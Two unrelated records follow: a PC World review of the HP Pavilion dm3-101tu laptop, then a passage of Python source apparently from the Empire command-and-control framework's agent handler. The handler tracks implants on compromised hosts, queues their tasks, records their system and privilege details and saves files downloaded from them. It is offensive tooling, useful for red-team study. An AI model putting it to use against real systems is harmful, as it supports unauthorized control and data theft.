text:
HP Pavilion dm3-101tu (VV707PA) notebook
A reasonably lightweight, long-lasting and speedy 13in laptop
1 Users want this
Four USB 2.0 ports, well built, long battery life, Core 2 Duo CPU
Too much unnecessary preinstalled software, touchpad is sometimes 'sticky', awkwardly located power button, no Bluetooth
The HP Pavilion dm3-101tu (VV707PA) is an inexpensive notebook, yet it packs plenty of CPU speed and battery life, and has good connectivity options. We think it would suit students looking for something light, long-lasting and comfortable to type on, but even business users might want to look into it. We just wish HP wouldn't pre-load so much software.
Would you buy this?
$ 1,199.00 (AUD)
Coupon: Lenovo ThinkPad T560 Laptops Coupon
Redemption: Dell Exclusive Offer: Dell Products Cash-Back
HP's Pavilion dm3-101tu (VV707PA) is a 13.3in notebook with good speed, long battery life, a strong yet lean body, and an affordable price tag. It's this combination that should make it a sought after device for students and office users alike — and even for travellers. However, it's not a perfect laptop, and we do have a couple of quibbles with its design and with the number of setup screens and annoying reminders that you have to endure from preinstalled software.
Before you can use the Pavilion dm3-101tu (VV707PA), you have to go through a few registration screens for HP's Total Care Program and you are asked if you want to set up Norton Internet Suite. Of course, you can say no to all these things, but once Windows 7 has loaded you are pestered by reminders and intrusive pop-up boxes. There is so much extra software installed on the HP Pavilion dm3, if you want to restore it back to its factory condition (using the installed Recovery Manager software) it will take well over an hour!
Some of this software is useful, such as CyberLink's DVD burning software, but most of it you can do without; for example, a trial version of Microsoft Office is installed, as is Norton Internet Security. HP's MediaSmart software is also installed. By default, your media files are played through MediaSmart, which is a slow and cumbersome interface. For example, viewing photos from an SD card isn't as intuitive as it is with Windows 7's built-in Photo Viewer: when you view a photo, you can't navigate through the rest of the folder. You either have to add the files to MediaSmart first, or resort to opening them one by one.
Furthermore, MediaSmart really isn't that smart, as not all of your media will be available in the one place; you'll still have to open up new windows to view videos and photos, and listen to music. This is made even more difficult because the default setting for MediaSmart is to start in full-screen mode. It's the type of interface that is fine for a TouchSmart PC (the layout is conducive to touch), but it really isn't much good on a notebook.
Specs and speed
The HP Pavilion dm3-101tu has a strong hardware configuration. You get a low-voltage Intel Core 2 Duo SU7300 CPU, which runs at 1.3GHz, as well as 4GB of DDR3 RAM, a 320GB hard drive and integrated Intel GMA 4500MHD graphics. The speed of the CPU is enough to let you run most office applications as well as photo editing software, and the notebook can even be used for more taxing tasks such as video editing. In the Blender 3D and iTunes MP3 encoding tests, the laptop recorded times of 2min 18sec and 2min 09sec — faster than the Lenovo ThinkPad Edge 13", for example, which uses a 1.5GHz AMD Athlon X2 Neo L325 CPU.
The low-voltage CPU and the inclusion of a six-cell, 57 Watt-hour battery mean that the dm3-101tu can have a long life away from an outlet. In our battery rundown test — in which we disable power management, maximise the brightness and enable the wireless radio — the notebook looped an Xvid-encoded video for 4hr 9min. This is over an hour longer than the Lenovo and over two hours longer than Dell's Vostro 13. You can get a lot more battery life out of it if you enable a power management scheme, but it will depend on the type of work you do. Viewing Web pages with lots of CPU-intensive Flash elements will drain the battery quicker, for example.
The dm3-101tu (VV707PA) weighs around 2kg, which is relatively light considering the chassis is made from metal. It has brushed aluminium panels on the palm rest and lid that look and feel good. The screen and bezel are glossy, so reflections might pose a problem when you use the notebook outdoors or near a window. However, the brightness and contrast of the screen are good. The only problem with the screen is that it has a narrow vertical viewing angle, which means that you might have to adjust it regularly while watching videos. Luckily there is an HDMI port, so you can easily connect the dm3-101tu to your TV.
For the most part, the dm3 is very well built. It feels very solid when you pick it up and move it around and the hinges are stiff and keep the screen perfectly in place. However, it's the little details that don't feel good to the touch; the touchpad's buttons feel like they have two steps (similar to a digital camera's shutter button), which can make you think you've clicked when you haven't. The power button resides on the side and you have to slide it to switch on the machine, but it's very shallow and hard to get a grip. The touchpad has a mirror finish that can sometimes feel sticky and unresponsive, despite being so smooth. It shows fingerprints and smudges very clearly and will require cleaning from time to time.
The keyboard has island-style keys and they are soft and tactile. The only buttons that are a little uncomfortable are the arrow keys — the up and down arrows are too small. There aren't dedicated page up and down buttons, which is annoying. Rather than having media shortcut buttons above or to the side of the keyboard, the play/pause, skip and stop buttons are located on the function keys, and they are the primary, rather than secondary function. That is: you don't have to press the Fn button in order to use them. Likewise, you can change the screen brightness and volume without holding down the Fn key. We like this feature and think it makes a lot of sense for users who barely use the F-keys while browsing the Web or working on documents.
After a while, the dm3's base gets warm and becomes uncomfortable to rest on your lap, especially on hot, sticky days. You're better off resting it on a flat surface where the bottom vents can breathe.
We like the fact that you can easily remove panels to access the RAM and hard drive slots. Along the sides of the notebook you will find four USB 2.0 ports, an SD card reader, headphone and microphone ports, an HDMI port and a Gigabit Ethernet port. You also get a webcam and 802.11n wireless networking. This is all fairly standard connectivity for a 13in notebook that costs just over $1000, except for the number of USB 2.0 ports; most laptops have three ports, yet HP generously gives you a fourth.
Despite the glut of preinstalled software, the somewhat sticky touchpad and the poorly placed power button, the HP Pavilion dm3-101tu (VV707PA) is a fantastic little unit with good speed, a long battery life, and, above all, a competitive price.
Stay up to date with the latest news, reviews and features. Sign up to PC World's newsletters
Follow PC World Australia on Twitter: @PCWorldAu
Read more on these topics: HP, notebooks
Read User Reviews
Tax Time: The Great Security Headache For Australians
Last year, Australians lost more than $2.8 million (AUD) in fake ATO scams
Judge paves the way for British hacker's extradition to US
FBI faces lawsuit because it's stayed mum on iPhone 5c hack
Early iPhone 7 reviews: You'll miss the headphone jack, but the camera and battery life are tops
Toshiba's new SSD line features rock-bottom pricing
Watch out: iOS 10 install is reportedly bricking some iPhones

redpajama_set_name: RedPajamaCommonCrawl


text:
"""

Main agent handling functionality for Empire.

Database methods related to agents, as well as
the GET and POST handlers (process_get() and process_post()) ^
used to process checkin and result requests.

handle_agent_response() is where the packets are parsed and
the response types are handled as appropriate.

"""

import string
import os
import json
from pydispatch import dispatcher

# Empire imports
import encryption
import helpers
import http
import packets
import messages

class Agents:
    """
    Main class that contains agent handling functionality, including key
    negotiation in process_get() and process_post().
    """
    def __init__(self, MainMenu, args=None):

        # pull out the controller objects
        self.mainMenu = MainMenu
        self.conn = MainMenu.conn
        self.listeners = None
        self.modules = None
        self.stager = None
        self.installPath = self.mainMenu.installPath

        self.args = args

        # internal agent dictionary for the client's session key, funcions, and URI sets
        #   this is done to prevent database reads for extremely common tasks (like checking tasking URI existence)
        #   self.agents[sessionID] = {  'sessionKey' : clientSessionKey,
        #                               'functions' : [tab-completable function names for a script-import],
        #                               'currentURIs' : [current URIs used by the client],
        #                               'oldURIs' : [old URIs used by the client]
        #                            }
        self.agents = {}

        # reinitialize any agents that already exist in the database
        agentIDs = self.get_agent_ids()
        for agentID in agentIDs:
            self.agents[agentID] = {}
            self.agents[agentID]['sessionKey'] = self.get_agent_session_key(agentID)
            self.agents[agentID]['functions'] = self.get_agent_functions_database(agentID)

            # get the current and previous URIs for tasking
            currentURIs, oldURIs = self.get_agent_uris(agentID)
            self.agents[agentID]['currentURIs'] = currentURIs.split(',')

            if not oldURIs:
                self.agents[agentID]['oldURIs'] = []
            else:
                self.agents[agentID]['oldURIs'] = oldURIs.split(',')

        # pull out common configs from the main menu object in empire.py
        self.ipWhiteList = self.mainMenu.ipWhiteList
        self.ipBlackList = self.mainMenu.ipBlackList
        self.stage0 = self.mainMenu.stage0
        self.stage1 = self.mainMenu.stage1
        self.stage2 = self.mainMenu.stage2

    ###############################################################
    #
    # Misc agent methods
    #
    ###############################################################

    def remove_agent(self, sessionID):
        """
        Remove an agent to the internal cache and database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        # remove the agent from the internal cache
        self.agents.pop(sessionID, None)

        # remove the agent from the database
        cur = self.conn.cursor()
        cur.execute("DELETE FROM agents WHERE session_id LIKE ?", [sessionID])
        cur.close()

    def add_agent(self, sessionID, externalIP, delay, jitter, profile, killDate, workingHours, lostLimit):
        """
        Add an agent to the internal cache and database.
        """

        cur = self.conn.cursor()

        currentTime = helpers.get_datetime()
        checkinTime = currentTime
        lastSeenTime = currentTime

        # generate a new key for this agent
        session_key = encryption.generate_aes_key()

        # config defaults, just in case something doesn't parse
        #   ...we shouldn't ever hit this...
        requestUris = "post.php"
        userAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
        additionalHeaders = ""

        # profile format ->     requestUris|user_agent|additionalHeaders
        parts = profile.split("|")
        if len(parts) == 2:
            requestUris = parts[0]
            userAgent = parts[1]
        elif len(parts) > 2:
            requestUris = parts[0]
            userAgent = parts[1]
            additionalHeaders = "|".join(parts[2:])

        cur.execute("INSERT INTO agents (name,session_id,delay,jitter,external_ip,session_key,checkin_time,lastseen_time,uris,user_agent,headers,kill_date,working_hours,lost_limit) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?)", (sessionID, sessionID, delay, jitter, externalIP, session_key, checkinTime, lastSeenTime, requestUris, userAgent, additionalHeaders, killDate, workingHours, lostLimit))
        cur.close()

        # initialize the tasking/result buffers along with the client session key
        session_key = self.get_agent_session_key(sessionID)

        self.agents[sessionID] = {'sessionKey': session_key, 'functions': [], 'currentURIs': requestUris.split(','), 'oldURIs': []}

        # report the initial checkin in the reporting database
        cur = self.conn.cursor()
        cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID, "checkin", checkinTime, helpers.get_datetime()))
        cur.close()

    def is_agent_present(self, sessionID):
        """
        Check if the sessionID is currently in the cache.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        return sessionID in self.agents

    def is_uri_present(self, resource):
        """
        Check if the resource is currently in the uris or old_uris for any agent.
        """

        for option, values in self.agents.iteritems():
            if resource in values['currentURIs'] or resource in values['oldURIs']:
                return True
        return False

    def is_ip_allowed(self, ip_address):
        """
        Check if the ip_address meshes with the whitelist/blacklist, if set.
        """

        if self.ipBlackList:
            if self.ipWhiteList:
                return ip_address in self.ipWhiteList and ip_address not in self.ipBlackList
            else:
                return ip_address not in self.ipBlackList
        if self.ipWhiteList:
            return ip_address in self.ipWhiteList
        else:
            return True

    def save_file(self, sessionID, path, data, append=False):
        """
        Save a file download for an agent to the appropriately constructed path.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_name(sessionID)
        if nameid:
            sessionID = nameid

        parts = path.split("\\")

        # construct the appropriate save path
        save_path = "%s/downloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
        filename = parts[-1]

        # fix for 'skywalker' exploit by @zeroSteiner
        safePath = os.path.abspath("%s/downloads/" % self.installPath)
        if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
            dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents")
            dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents")
            return

        # make the recursive directory structure if it doesn't already exist
        if not os.path.exists(save_path):
            os.makedirs(save_path)

        # overwrite an existing file
        if not append:
            f = open("%s/%s" % (save_path, filename), 'wb')
        else:
            # otherwise append
            f = open("%s/%s" % (save_path, filename), 'ab')

        f.write(data)
        f.close()

        # notify everyone that the file was downloaded
        dispatcher.send("[+] Part of file %s from %s saved" % (filename, sessionID), sender="Agents")

    def save_module_file(self, sessionID, path, data):
        """
        Save a module output file to the appropriate path.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_name(sessionID)
        if nameid:
            sessionID = nameid

        parts = path.split("/")
        # construct the appropriate save path
        # save_path = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1])
        save_path = "%s/downloads/%s/%s" % (self.installPath, sessionID, "/".join(parts[0:-1]))
        filename = parts[-1]

        # fix for 'skywalker' exploit by @zeroSteiner
        safePath = os.path.abspath("%s/downloads/" % self.installPath)
        if not os.path.abspath(save_path + "/" + filename).startswith(safePath):
            dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents")
            dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents")
            return

        # make the recursive directory structure if it doesn't already exist
        if not os.path.exists(save_path):
            os.makedirs(save_path)

        # save the file out
        f = open(save_path + "/" + filename, 'w')
        f.write(data)
        f.close()

        # notify everyone that the file was downloaded
        # dispatcher.send("[+] File "+path+" from "+str(sessionID)+" saved", sender="Agents")
        dispatcher.send("[+] File %s from %s saved" % (path, sessionID), sender="Agents")

        return "/downloads/%s/%s/%s" % (sessionID, "/".join(parts[0:-1]), filename)

    def save_agent_log(self, sessionID, data):
        """
        Save the agent console output to the agent's log file.
        """

        name = self.get_agent_name(sessionID)

        save_path = self.installPath + "/downloads/" + str(name) + "/"

        # make the recursive directory structure if it doesn't already exist
        if not os.path.exists(save_path):
            os.makedirs(save_path)

        current_time = helpers.get_datetime()

        f = open(save_path + "/agent.log", 'a')
        f.write("\n" + current_time + " : " + "\n")
        f.write(data + "\n")
        f.close()

    ###############################################################
    #
    # Methods to get information from agent fields.
    #
    ###############################################################

    def get_agents(self):
        """
        Return all active agents from the database.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT * FROM agents")
        results = cur.fetchall()
        cur.close()
        return results

    def get_agent_names(self):
        """
        Return all names of active agents from the database.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT name FROM agents")
        results = cur.fetchall()
        cur.close()
        # make sure names all ascii encoded
        results = [r[0].encode('ascii', 'ignore') for r in results]
        return results

    def get_agent_ids(self):
        """
        Return all IDs of active agents from the database.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT session_id FROM agents")
        results = cur.fetchall()
        cur.close()
        # make sure names all ascii encoded
        results = [r[0].encode('ascii', 'ignore') for r in results]
        return results

    def get_agent(self, sessionID):
        """
        Return complete information for the specified agent from the database.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT * FROM agents WHERE session_id=?", [sessionID])
        agent = cur.fetchone()
        cur.close()
        return agent

    def get_agent_internal_ip(self, sessionID):
        """
        Return the internal IP for the agent from the database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT internal_ip FROM agents WHERE session_id=?", [sessionID])
        agent = cur.fetchone()
        cur.close()
        return agent

    def is_agent_elevated(self, sessionID):
        """
        Check whether a specific sessionID is currently elevated.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT high_integrity FROM agents WHERE session_id=?", [sessionID])
        elevated = cur.fetchone()
        cur.close()

        if elevated is not None and elevated != ():
            return int(elevated[0]) == 1
        else:
            return False

    def get_ps_version(self, sessionID):
        """
        Return the current PowerShell version for this agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT ps_version FROM agents WHERE session_id=?", [sessionID])
        ps_version = cur.fetchone()
        cur.close()

        if ps_version is not None:
            if isinstance(ps_version, str):
                return ps_version
            else:
                return ps_version[0]

    def get_agent_session_key(self, sessionID):
        """
        Return AES session key for this sessionID.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT session_key FROM agents WHERE session_id=?", [sessionID])
        sessionKey = cur.fetchone()
        cur.close()

        if sessionKey is not None:
            if isinstance(sessionKey, str):
                return sessionKey
            else:
                return sessionKey[0]

    def get_agent_results(self, sessionID):
        """
        Return agent results from the backend database.
        """

        agent_name = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID not in self.agents:
            print helpers.color("[!] Agent %s not active." % (agent_name))
        else:
            cur = self.conn.cursor()
            cur.execute("SELECT results FROM agents WHERE session_id=?", [sessionID])
            results = cur.fetchone()

            cur.execute("UPDATE agents SET results = ? WHERE session_id=?", ['', sessionID])

            if results and results[0] and results[0] != '':
                out = json.loads(results[0])
                if out:
                    return "\n".join(out)
            else:
                return ''
            cur.close()

    def get_agent_id(self, name):
        """
        Get an agent sessionID based on the name.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT session_id FROM agents WHERE name=?", [name])
        results = cur.fetchone()
        if results:
            return results[0]
        else:
            return None

    def get_agent_name(self, sessionID):
        """
        Get an agent name based on sessionID.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT name FROM agents WHERE session_id=? or name = ?", [sessionID, sessionID])
        results = cur.fetchone()
        if results:
            return results[0]
        else:
            return None

    def get_agent_hostname(self, sessionID):
        """
        Get an agent's hostname based on sessionID.
        """

        cur = self.conn.cursor()
        cur.execute("SELECT hostname FROM agents WHERE session_id=? or name = ?", [sessionID, sessionID])
        results = cur.fetchone()
        if results:
            return results[0]
        else:
            return None

    def get_agent_functions(self, sessionID):
        """
        Get the tab-completable functions for an agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID in self.agents:
            return self.agents[sessionID]['functions']
        else:
            return []

    def get_agent_functions_database(self, sessionID):
        """
        Get the tab-completable functions for an agent from the database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT functions FROM agents WHERE session_id=?", [sessionID])
        functions = cur.fetchone()[0]
        cur.close()
        if functions is not None:
            return functions.split(",")
        else:
            return []

    def get_agent_uris(self, sessionID):
        """
        Get the current and old URIs for an agent from the database.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("SELECT uris, old_uris FROM agents WHERE session_id=?", [sessionID])
        uris = cur.fetchone()
        cur.close()

        return uris

    def get_autoruns(self):
        """
        Get any global script autoruns.
        """

        try:
            cur = self.conn.cursor()
            cur.execute("SELECT autorun_command FROM config")
            results = cur.fetchone()
            if results:
                autorun_command = results[0]
            else:
                autorun_command = ''

            cur = self.conn.cursor()
            cur.execute("SELECT autorun_data FROM config")
            results = cur.fetchone()
            if results:
                autorun_data = results[0]
            else:
                autorun_data = ''
            cur.close()

            return [autorun_command, autorun_data]
        except Exception:
            pass

    ###############################################################
    #
    # Methods to update agent information fields.
    #
    ###############################################################

    def update_agent_results(self, sessionID, results):
        """
        Update the internal agent result cache.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID in self.agents:
            cur = self.conn.cursor()

            # get existing agent results
            cur.execute("SELECT results FROM agents WHERE session_id LIKE ?", [sessionID])
            agent_results = cur.fetchone()

            if agent_results and agent_results[0]:
                agent_results = json.loads(agent_results[0])
            else:
                agent_results = []

            agent_results.append(results)

            cur.execute("UPDATE agents SET results = ? WHERE session_id=?", [json.dumps(agent_results), sessionID])
            cur.close()
        else:
            dispatcher.send("[!] Non-existent agent " + str(sessionID) + " returned results", sender="Agents")

    def update_agent_sysinfo(self, sessionID, listener="", external_ip="", internal_ip="", username="", hostname="", os_details="", high_integrity=0, process_name="", process_id="", ps_version=""):
        """
        Update an agent's system information.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("UPDATE agents SET listener = ?, internal_ip = ?, username = ?, hostname = ?, os_details = ?, high_integrity = ?, process_name = ?, process_id = ?, ps_version = ? WHERE session_id=?", [listener, internal_ip, username, hostname, os_details, high_integrity, process_name, process_id, ps_version, sessionID])
        cur.close()

    def update_agent_lastseen(self, sessionID):
        """
        Update the agent's last seen timestamp.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        current_time = helpers.get_datetime()
        cur = self.conn.cursor()
        cur.execute("UPDATE agents SET lastseen_time=? WHERE session_id=?", [current_time, sessionID])
        cur.close()

    def update_agent_profile(self, sessionID, profile):
        """
        Update the agent's "uri1,uri2,...|useragent|headers" profile.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        parts = profile.strip("\"").split("|")
        cur = self.conn.cursor()

        # get the existing URIs from the agent and save them to
        #   the old_uris field, so we can ensure that it can check in
        #   to get the new URI tasking... bootstrapping problem :)
        cur.execute("SELECT uris FROM agents WHERE session_id=?", [sessionID])
        old_uris = cur.fetchone()[0]

        if sessionID not in self.agents:
            print helpers.color("[!] Agent %s not active." % (nameid))
        else:
            # update the URIs in the cache
            self.agents[sessionID]['oldURIs'] = old_uris.split(',')
            self.agents[sessionID]['currentURIs'] = parts[0].split(',')

        # if no additional headers
        if len(parts) == 2:
            cur.execute("UPDATE agents SET uris=?, user_agent=?, old_uris=? WHERE session_id=?", [parts[0], parts[1], old_uris, sessionID])
        else:
            # if additional headers
            cur.execute("UPDATE agents SET uris=?, user_agent=?, headers=?, old_uris=? WHERE session_id=?", [parts[0], parts[1], parts[2], old_uris, sessionID])

        cur.close()

    def rename_agent(self, oldname, newname):
        """
        Update the agent's last seen timestamp.
        """

        if not newname.isalnum():
            print helpers.color("[!] Only alphanumeric characters allowed for names.")
            return False

        # rename the logging/downloads folder
        old_path = "%s/downloads/%s/" % (self.installPath, oldname)
        new_path = "%s/downloads/%s/" % (self.installPath, newname)

        # check if the folder is already used
        if os.path.exists(new_path):
            print helpers.color("[!] Name already used by current or past agent.")
            return False
        else:
            # signal in the log that we've renamed the agent
            self.save_agent_log(oldname, "[*] Agent renamed from %s to %s" % (oldname, newname))

            # move the old folder path to the new one
            if os.path.exists(old_path):
                os.rename(old_path, new_path)

            # rename the agent in the database
            cur = self.conn.cursor()
            cur.execute("UPDATE agents SET name=? WHERE name=?", [newname, oldname])
            cur.close()

            # report the agent rename in the reporting database
            cur = self.conn.cursor()
            cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (oldname, "rename", newname, helpers.get_datetime()))
            cur.close()

            return True

    def set_agent_field(self, field, value, sessionID):
        """
        Set field:value for a particular sessionID.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        cur = self.conn.cursor()
        cur.execute("UPDATE agents SET " + str(field) + "=? WHERE session_id=?", [value, sessionID])
        cur.close()

    def set_agent_functions(self, sessionID, functions):
        """
        Set the tab-completable functions for the agent.
        """

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID in self.agents:
            self.agents[sessionID]['functions'] = functions

        functions = ",".join(functions)

        cur = self.conn.cursor()
        cur.execute("UPDATE agents SET functions=? WHERE session_id=?", [functions, sessionID])
        cur.close()

    def set_autoruns(self, taskCommand, moduleData):
        """
        Set the global script autorun in the config.
        """

        try:
            cur = self.conn.cursor()
            cur.execute("UPDATE config SET autorun_command=?", [taskCommand])
            cur.execute("UPDATE config SET autorun_data=?", [moduleData])
            cur.close()
        except Exception:
            print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.")
            print helpers.color("[!] Warning: this will reset ALL agent connections!")

    def clear_autoruns(self):
        """
        Clear the currently set global script autoruns in the config.
        """

        try:
            cur = self.conn.cursor()
            cur.execute("UPDATE config SET autorun_command=''")
            cur.execute("UPDATE config SET autorun_data=''")
            cur.close()
        except Exception:
            print helpers.color("[!] Error: script autoruns not a database field, run ./setup_database.py to reset DB schema.")
            print helpers.color("[!] Warning: this will reset ALL agent connections!")

    ###############################################################
    #
    # Agent tasking methods
    #
    ###############################################################

    def add_agent_task(self, sessionID, taskName, task=""):
        """
        Add a task to the specified agent's buffer.
        """

        agentName = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID not in self.agents:
            print helpers.color("[!] Agent " + str(agentName) + " not active.")
        else:
            if sessionID:

                dispatcher.send("[*] Tasked " + str(sessionID) + " to run " + str(taskName), sender="Agents")

                # get existing agent taskings
                cur = self.conn.cursor()
                cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
                agent_tasks = cur.fetchone()

                if agent_tasks and agent_tasks[0]:
                    agent_tasks = json.loads(agent_tasks[0])
                else:
                    agent_tasks = []

                # append our new json-ified task and update the backend
                agent_tasks.append([taskName, task])
                cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agent_tasks), sessionID])

                # write out the last tasked script to "LastTask.ps1" if in debug mode
                if self.args and self.args.debug:
                    f = open('%s/LastTask.ps1' % (self.installPath), 'w')
                    f.write(task)
                    f.close()

                # report the agent tasking in the reporting database
                cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (sessionID, "task", taskName + " - " + task[0:50], helpers.get_datetime()))
                cur.close()

    def get_agent_tasks(self, sessionID):
        """
        Retrieve tasks for our agent.
        """

        agentName = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_id(sessionID)
        if nameid:
            sessionID = nameid

        if sessionID not in self.agents:
            print helpers.color("[!] Agent " + str(agentName) + " not active.")
            return []
        else:

            cur = self.conn.cursor()
            cur.execute("SELECT taskings FROM agents WHERE session_id=?", [sessionID])
            tasks = cur.fetchone()

            if tasks and tasks[0]:
                tasks = json.loads(tasks[0])

                # clear the taskings out
                cur.execute("UPDATE agents SET taskings=? WHERE session_id=?", ['', sessionID])
            else:
                tasks = []

            cur.close()

            return tasks

    def clear_agent_tasks(self, sessionID):
        """
        Clear out one (or all) agent's task buffer.
        """

        if sessionID.lower() == "all":
            sessionID = '%'

        cur = self.conn.cursor()
        cur.execute("UPDATE agents SET taskings=? WHERE session_id LIKE ?", ['', sessionID])
        cur.close()

    def handle_agent_response(self, sessionID, responseName, data):
        """
        Handle the result packet based on sessionID and responseName.
        """

        agentSessionID = sessionID

        # see if we were passed a name instead of an ID
        nameid = self.get_agent_name(sessionID)
        if nameid:
            sessionID = nameid

        # report the agent result in the reporting database
        cur = self.conn.cursor()
        cur.execute("INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentSessionID, "result", responseName, helpers.get_datetime()))
        cur.close()

        # TODO: for heavy traffic packets, check these first (i.e. SOCKS?)
        #       so this logic is skipped

        if responseName == "ERROR":
            # error code
            dispatcher.send("[!] Received error response from " + str(sessionID), sender="Agents")
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, "[!] Error response: " + data)

        elif responseName == "TASK_SYSINFO":
            # sys info response -> update the host info
            parts = data.split("|")
            if len(parts) < 10:
                dispatcher.send("[!] Invalid sysinfo response from " + str(sessionID), sender="Agents")
            else:
                # extract appropriate system information
                listener = parts[0].encode('ascii', 'ignore')
                domainname = parts[1].encode('ascii', 'ignore')
                username = parts[2].encode('ascii', 'ignore')
                hostname = parts[3].encode('ascii', 'ignore')
                internal_ip = parts[4].encode('ascii', 'ignore')
                os_details = parts[5].encode('ascii', 'ignore')
                high_integrity = parts[6].encode('ascii', 'ignore')
                process_name = parts[7].encode('ascii', 'ignore')
                process_id = parts[8].encode('ascii', 'ignore')
                ps_version = parts[9].encode('ascii', 'ignore')

                if high_integrity == "True":
                    high_integrity = 1
                else:
                    high_integrity = 0

                # username = str(domainname)+"\\"+str(username)
                username = "%s\\%s" % (domainname, username)

                # update the agent with this new information
                self.update_agent_sysinfo(sessionID, listener=listener, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, ps_version=ps_version)

                sysinfo = '{0: <18}'.format("Listener:") + listener + "\n"
                sysinfo += '{0: <18}'.format("Internal IP:") + internal_ip + "\n"
                sysinfo += '{0: <18}'.format("Username:") + username + "\n"
                sysinfo += '{0: <18}'.format("Hostname:") + hostname + "\n"
                sysinfo += '{0: <18}'.format("OS:") + os_details + "\n"
                sysinfo += '{0: <18}'.format("High Integrity:") + str(high_integrity) + "\n"
                sysinfo += '{0: <18}'.format("Process Name:") + process_name + "\n"
                sysinfo += '{0: <18}'.format("Process ID:") + process_id + "\n"
                sysinfo += '{0: <18}'.format("PSVersion:") + ps_version

                self.update_agent_results(sessionID, sysinfo)
                # update the agent log
                self.save_agent_log(sessionID, sysinfo)

        elif responseName == "TASK_EXIT":
            # exit command response

            # let everyone know this agent exited
            dispatcher.send(data, sender="Agents")

            # update the agent results and log
            # self.update_agent_results(sessionID, data)
            self.save_agent_log(sessionID, data)

            # remove this agent from the cache/database
            self.remove_agent(sessionID)

        elif responseName == "TASK_SHELL":
            # shell command response
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_DOWNLOAD":
            # file download
            parts = data.split("|")
            if len(parts) != 3:
                dispatcher.send("[!] Received invalid file download response from " + sessionID, sender="Agents")
            else:
                index, path, data = parts
                # decode the file data and save it off as appropriate
                file_data = helpers.decode_base64(data)
                name = self.get_agent_name(sessionID)

                if index == "0":
                    self.save_file(name, path, file_data)
                else:
                    self.save_file(name, path, file_data, append=True)
                # update the agent log
                msg = "file download: %s, part: %s" % (path, index)
                self.save_agent_log(sessionID, msg)

        elif responseName == "TASK_UPLOAD":
            pass

        elif responseName == "TASK_GETJOBS":

            if not data or data.strip().strip() == "":
                data = "[*] No active jobs"

            # running jobs
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_STOPJOB":
            # job kill response
            self.update_agent_results(sessionID, data)
            # update the agent log
            self.save_agent_log(sessionID, data)

        elif responseName == "TASK_CMD_WAIT":

            # dynamic script output -> blocking
            self.update_agent_results(sessionID, data)

            # see if there are any credentials to parse
